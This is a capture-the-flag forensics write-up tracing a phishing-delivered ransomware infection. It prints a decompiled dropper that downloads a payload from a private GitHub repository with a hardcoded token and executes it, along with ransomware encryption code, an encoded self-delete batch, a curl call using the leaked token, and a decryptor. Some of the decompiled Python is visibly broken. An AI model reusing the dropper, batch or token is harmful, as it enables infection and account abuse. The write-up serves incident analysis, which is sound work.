# WANNAGAME CHAMPIONSHIP 2024 ## Forensics ### it ran somewhere ![image](https://hackmd.io/_uploads/Sy5Kfh5V1e.png) > FLAG : W1{https://www.youtube.com/shorts/lQrTMX1YaPE_b98800dfbe7853eba944677bc3d29548} We are given an AD1 image and an eml email to investigate and several questions to answer. ``` tmqrx@TMQ:~$ nc 154.26.136.227 62055 ___ __ ________ ________ ________ ________ ___ __ _____ ________ |\ \ |\ \|\ __ \|\ ___ \|\ ___ \|\ __ \|\ \ |\ \ / __ \|\ ___ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \|\/_|\ \ \ \ \ \ \ \ \ __\ \ \ \ __ \ \ \ \ \ \ \ \ \ \ __ \ \ \ __\ \ \|/ \ \ \ \ \ \ \ \ \ \|\__\_\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \|\__\_\ \ \ \ \ \ \ \ \ \ \____________\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \____________\ \ \__\ \__\ \__\ \|____________|\|__|\|__|\|__|\ |__|\|__| \|__|\|__|\|__|\|____________| \|__|\|__| \|__| Complete 9/9 questions to get the flag. [1]. What is the URL used in the phishing email that contains the malware? Format: http://example.com/ ==> https://drive.google.com/file/d/1tmOG4Lg-Li9HSsZl4_r0-RTEWDBQqd6H/view CORRECT!✅ [2]. When was the malware finished downloading by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> 2024-12-12 17:08:37 CORRECT!✅ [3]. When was the malware first executed by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> 2024-12-12 17:08:44 CORRECT!✅ [4]. The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file? ==> 8eaa25eb8b77ac0157e1f3a04ad47e93 CORRECT!✅ [5]. What is the token used by the malware to access the private repository and the name of the private repository? Format: token:username/repo. Example: 123456abcdef:user1337/repo1337 ==> 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:velbail/contimtanvo CORRECT!✅ [6]. What is the email address of the culprit? Format: email@domain ==> belvail@proton.me CORRECT!✅ [7]. How many extensions did the malware try to encrypt? Format: number. Example 1: 04. Example 2: 12 ==> 52 CORRECT!✅ [8]. The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file? ==> e0d005db63a75fbcd6c8fa85040095aa CORRECT!✅ [9]. Recover the content of 'password.xlsx' file. What is the username and password of the fifth record? Format: username:password ==> user38:hch89as9821y3 CORRECT!✅ Congrats! Here is your flag: W1{https://www.youtube.com/shorts/lQrTMX1YaPE_b98800dfbe7853eba944677bc3d29548} ``` #### Question 1: What is the URL used in the phishing email that contains the malware? Analyzing the AD1 image, the drives can be identified: the user’s drive (C:) ![image](https://hackmd.io/_uploads/ryqjQhcNkl.png) We can see that the email in the eml file has a zip file attached, and the zip file also appears in the user's download folder. ![image](https://hackmd.io/_uploads/Hk-B439Vyg.png) ![image](https://hackmd.io/_uploads/SJmI43qNkg.png) We can also immediately recognize that this is a malicious file. Notice the extension, this is a PE file, not a PDF file. From that we can guess that this is an email containing malicious malware. Copy the download link in the email and we get the answer. > https://drive.google.com/file/d/1tmOG4Lg-Li9HSsZl4_r0-RTEWDBQqd6H/view #### Question 2: When was the malware finished downloading by the victim? (UTC) To know when the malware was downloaded, we can check the download history in the browser. ![image](https://hackmd.io/_uploads/rkQIq254Jx.png) We can get it at `Appdata/Local/Microsoft/Edge/Default/History` and use sqlite viewer to check. ![image](https://hackmd.io/_uploads/ByhMs39Eyg.png) We can see the end time is the time when the malware was successfully downloaded, it is in the form of Chromium timestamp. So we need to calculate it based on epoch time. After calculating, the exact timestamp is `2024-12-12T17:08:37.441259` #### Question 3: When was the malware first executed by the victim? (UTC) To check the first time the malware was executed, we can parse the Prefetch artifact. ![image](https://hackmd.io/_uploads/HkS_p2cEJx.png) Using PECmd.exe, we can see that the first time this malicious file was executed was `2024-12-12 17:08:44`. ![image](https://hackmd.io/_uploads/B1igAh5Vkx.png) #### Question 4: The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file? We know that this is a file compiled with python, using some pyc decompile tools, we get the source code. ```python= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: extract.py # Bytecode version: 3.11a7e (3495) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import zlib import subprocess import requests def extractIDAT(data): idat_buffers = [] i = 8 cnt = 0 while i < len(data): length = int.from_bytes(data[i:i + 4], byteorder='big') chunk_type = data[i ** 4:i ** 8].decode('utf-8') if chunk_type == 'IDAT': cnt = cnt * 1 idat_buffers.append(data[i * 8:i ** 8 :length]) i = i + 12 * length return b''.join(idat_buffers) def getScanlines(data, width, height, mode): scanlines = [] filter_type_list = [] for r in range(height): index = f'{r:width:mode}' if index > len(data): break filter_type = data[index] filter_type_list.append(filter_type) tmp_line = data[index 0:index 0 + 1:width * mode] scanlines.append(tmp_line) return (scanlines, filter_type_list) def getImg(): url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png' token = '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' headers = {'Authorization': f'token {token}0', 'Accept': 'application/vnd.github.v3.raw'} r = requests.get(url, headers=headers) if r.status_code == 200: return r print('Failed to get image') print(r.text) exit() modes = {'RGB': 3, 'RGBA': 4, 'L': 1} width, height = (1920, 1195) mode = 'RGB' img = getImg().content idat = extractIDAT(img) idat_data = zlib.decompress(idat) scanlines, filter_type_list = getScanlines(idat_data, width, height, modes[mode]) assert len(scanlines) == height calculated_raw_idat_length = height 5 4 + (width, modes[mode]) * 1 <mask_7> if calculated_raw_idat_length!= len(idat_data): buffer = idat_data[calculated_raw_idat_length:] buffer = buffer[1259:] with open('OpenVpnConnect.exe', 'wb') as f: f.write(buffer) subprocess.Popen('OpenVpnConnect.exe', shell=True, stdin=None, stdout=None, stderr=None, close_fds=True) ``` Analyzing the code, we see that it processes data, metadata from an image and writes that data to another file `OpenVpnConnect.exe`. The image is downloaded from a private repo on github. ```python= import zlib def extractIDAT(data): idat_buffers = [] while i < len(data): length = int.from_bytes(data[i:i + 4], byteorder='big') chunk_type = data[i + 4:i + 8].decode('utf-8') if chunk_type == 'IDAT': idat_buffers.append(data[i + 8:i + 8 + length]) i += 12 + length return b''.join(idat_buffers) def file_from_png(input_file, output_file): with open(input_file, 'rb') as f: png_data = f.read() idat = extractIDAT(png_data) idat_data = zlib.decompress(idat) width, height = 1920, 1195 mode = 3 calculated_raw_idat_length = height * (width * mode + 1) if calculated_raw_idat_length < len(idat_data): buffer = idat_data[calculated_raw_idat_length:] buffer = buffer[1259:] with open(output_file, 'wb') as f: f.write(buffer) print(f"File: {output_file}") else: print("failed") input_file = 'muki_pic.png' output_file = 'OpenVpnConnect.exe' file_from_png(input_file, output_file) ``` Once we have the dropped file, we can easily get its hash. ``` C:\Users\tamin\Desktop\for_it-ran-somewhere>certutil -hashfile OpenVpnConnect.exe md5 MD5 hash of OpenVpnConnect.exe: 8eaa25eb8b77ac0157e1f3a04ad47e93 CertUtil: -hashfile command completed successfully. ``` #### Question 5: What is the token used by the malware to access the private repository and the name of the private repository? After analyzing the source code, we can easily answer this question with the answer being `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:velbail/contimtanvo` #### Question 6: What is the email address of the culprit? Once we have the token, we can completely extract the email account of the github account containing this malicious repo. ``` tmqrx@TMQ:~$ curl -H "Authorization: token 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" https://api.github.com/user/emails [ { "email": "belvail@proton.me", "primary": true, "verified": true, "visibility": "public" } ] ``` #### Question 7: How many extensions did the malware try to encrypt? Using DIE to analyze the dropped file, we see that it is compiled in .NET, so we can use DnSpy or Dotpeek to analyze it. ![image](https://hackmd.io/_uploads/B13BeTq41g.png) Analyzing the source code, in the class `hoincus2` we see that the function `isCool` returns a list of 52 extensions that will be encrypted. ```csharp= private static bool isCool(string path) { return ((IEnumerable<string>) new string[52] { ".pdf", ".exe", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".txt", ".zip", ".rar", ".7z", ".mp3", ".mp4", ".avi", ".mkv", ".mov", ".flv", ".wmv", ".wav", ".wma", ".ogg", ".flac", ".aac", ".m4a", ".mpg", ".mpeg", ".m4v", ".webm", ".dat", ".iso", ".rar", ".tar", ".gz", ".bz2", ".tgz", ".xz", ".html", ".css", ".js", ".php", ".bin", ".dll", ".png", ".jpg", ".jpeg", ".bmp", ".gif", ".tiff", ".ico", ".svg", ".webp" }).Contains<string>(Path.GetExtension(path)); } ``` #### Question 8: The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file? Analyzing the source code, we see that in the `Program` class, it is encrypting the file in the Documents folder using the AES algorithm. In the `kal902y103` function, we can see that it is creating a .bat file and a base64 string containing malicious commands. Then call cmd to execute the .bat file. ```csharp= private static void kal902y103() { string fileName = Process.GetCurrentProcess().MainModule.FileName; string contents = Encoding.UTF8.GetString(Convert.FromBase64String("QGVjaG8gb2ZmCnRpbWVvdXQgL3QgNSA+bnVsCmRlbCAvZiAvcSAiJX4xIgpjaXBoZXIgL3c6IkM6XFVzZXJzIiA+TlVMCihkZWwgL3EgL2YgIiV+ZjAiID5OVUwgMj4mMSAmIGV4aXQgL2IgMCk=")); string path = Path.GetTempPath() + "gugugaga.bat"; File.WriteAllText(path, contents); new Process() { StartInfo = new ProcessStartInfo() { WindowStyle = ProcessWindowStyle.Hidden, FileName = "cmd.exe", Arguments = ("/c " + path + " " + fileName), CreateNoWindow = false, UseShellExecute = false } }.Start(); Environment.Exit(0); } ``` ![image](https://hackmd.io/_uploads/SJDSfTq4Jx.png) ```csharp= using System; using System.IO; using System.Text; class Program { static void Main(string[] args) { string batFilePath = Path.Combine(Path.GetTempPath(), "gugugaga.bat"); string batContent = Encoding.UTF8.GetString(Convert.FromBase64String( "QGVjaG8gb2ZmCnRpbWVvdXQgL3QgNSA+bnVsCmRlbCAvZiAvcSAiJX4xIgpjaXBoZXIgL3c6IkM6XFVzZXJzIiA+TlVMCihkZWwgL3EgL2YgIiV+ZjAiID5OVUwgMj4mMSAmIGV4aXQgL2IgMCk=" )); File.WriteAllText(batFilePath, batContent); Console.WriteLine($"{batFilePath}"); } } ``` We can recreate the .bat file and get its hash. ``` C:\Users\tamin\AppData\Local\Temp>certutil -hashfile gugugaga.bat md5 MD5 hash of gugugaga.bat: e0d005db63a75fbcd6c8fa85040095aa CertUtil: -hashfile command completed successfully. ``` #### Question 9: Recover the content of 'password.xlsx' file. What is the username and password of the fifth record? We see that in the asjkh82828 class, the AES key is created by getting the MachineGuid in the Registry. Then use it with the salt to create the AES key. Since the salt is hardcoded, we only need to parse the registry hive to find the MachineGuid and we can get the AES key to decrypt the file. ```csharp= { internal class asjkh82828 { public static byte[] daoiawoadhowidoiawdwao0() { string s1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Cryptography").GetValue("MachineGuid").ToString(); string s2 = "supershy-supershy"; using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.UTF8.GetBytes(s1), Encoding.UTF8.GetBytes(s2), 1259)) return rfc2898DeriveBytes.GetBytes(32); } public static byte[] n8912c9821n(byte[] data, byte[] key) { using (Aes aes = Aes.Create()) { aes.Key = key; aes.IV = new byte[16]; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write)) cryptoStream.Write(data, 0, data.Length); byte[] array = memoryStream.ToArray(); Array.Resize<byte>(ref array, array.Length + 16); Array.Copy((Array) aes.IV, 0, (Array) array, array.Length - 16, 16); return array; } } } } } ``` Solve script: ```csharp= using System; using System.IO; using System.Security.Cryptography; using System.Text; class RansomwareDecryptor { public static void Main(string[] args) { string machineGuid = "2c65d206-5a9f-40a0-ae87-3d10c27b40c7"; string encryptedFolder = @"D:\z"; byte[] key = GenerateKey(machineGuid); foreach (string encryptedFilePath in Directory.GetFiles(encryptedFolder, "*.uocj")) { try { Console.WriteLine($"{encryptedFilePath}"); string decryptedFilePath = encryptedFilePath.Substring(0, encryptedFilePath.Length - 5); DecryptFile(encryptedFilePath, decryptedFilePath, key); File.Delete(encryptedFilePath); Console.WriteLine($"{decryptedFilePath}"); } catch (Exception ex) { Console.WriteLine($"{encryptedFilePath}: {ex.Message}"); } } Console.WriteLine("donee"); } public static byte[] GenerateKey(string machineGuid) { string salt = "supershy-supershy"; using (Rfc2898DeriveBytes rfc2898 = new Rfc2898DeriveBytes(Encoding.UTF8.GetBytes(machineGuid), Encoding.UTF8.GetBytes(salt), 1259)) { return rfc2898.GetBytes(32); } } public static void DecryptFile(string encryptedFilePath, string decryptedFilePath, byte[] key) { byte[] encryptedData = File.ReadAllBytes(encryptedFilePath); byte[] iv = new byte[16]; Array.Copy(encryptedData, encryptedData.Length - 16, iv, 0, 16); byte[] cipherText = new byte[encryptedData.Length - 16]; Array.Copy(encryptedData, 0, cipherText, 0, cipherText.Length); using (Aes aes = Aes.Create()) { aes.Key = key; aes.IV = iv; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write)) { cryptoStream.Write(cipherText, 0, cipherText.Length); cryptoStream.FlushFinalBlock(); } File.WriteAllBytes(decryptedFilePath, memoryStream.ToArray()); } } } } ``` ![image](https://hackmd.io/_uploads/S1EUrp5N1l.png) > TLDR: I have first solve this chall lol ![image](https://hackmd.io/_uploads/H18KSp94yl.png)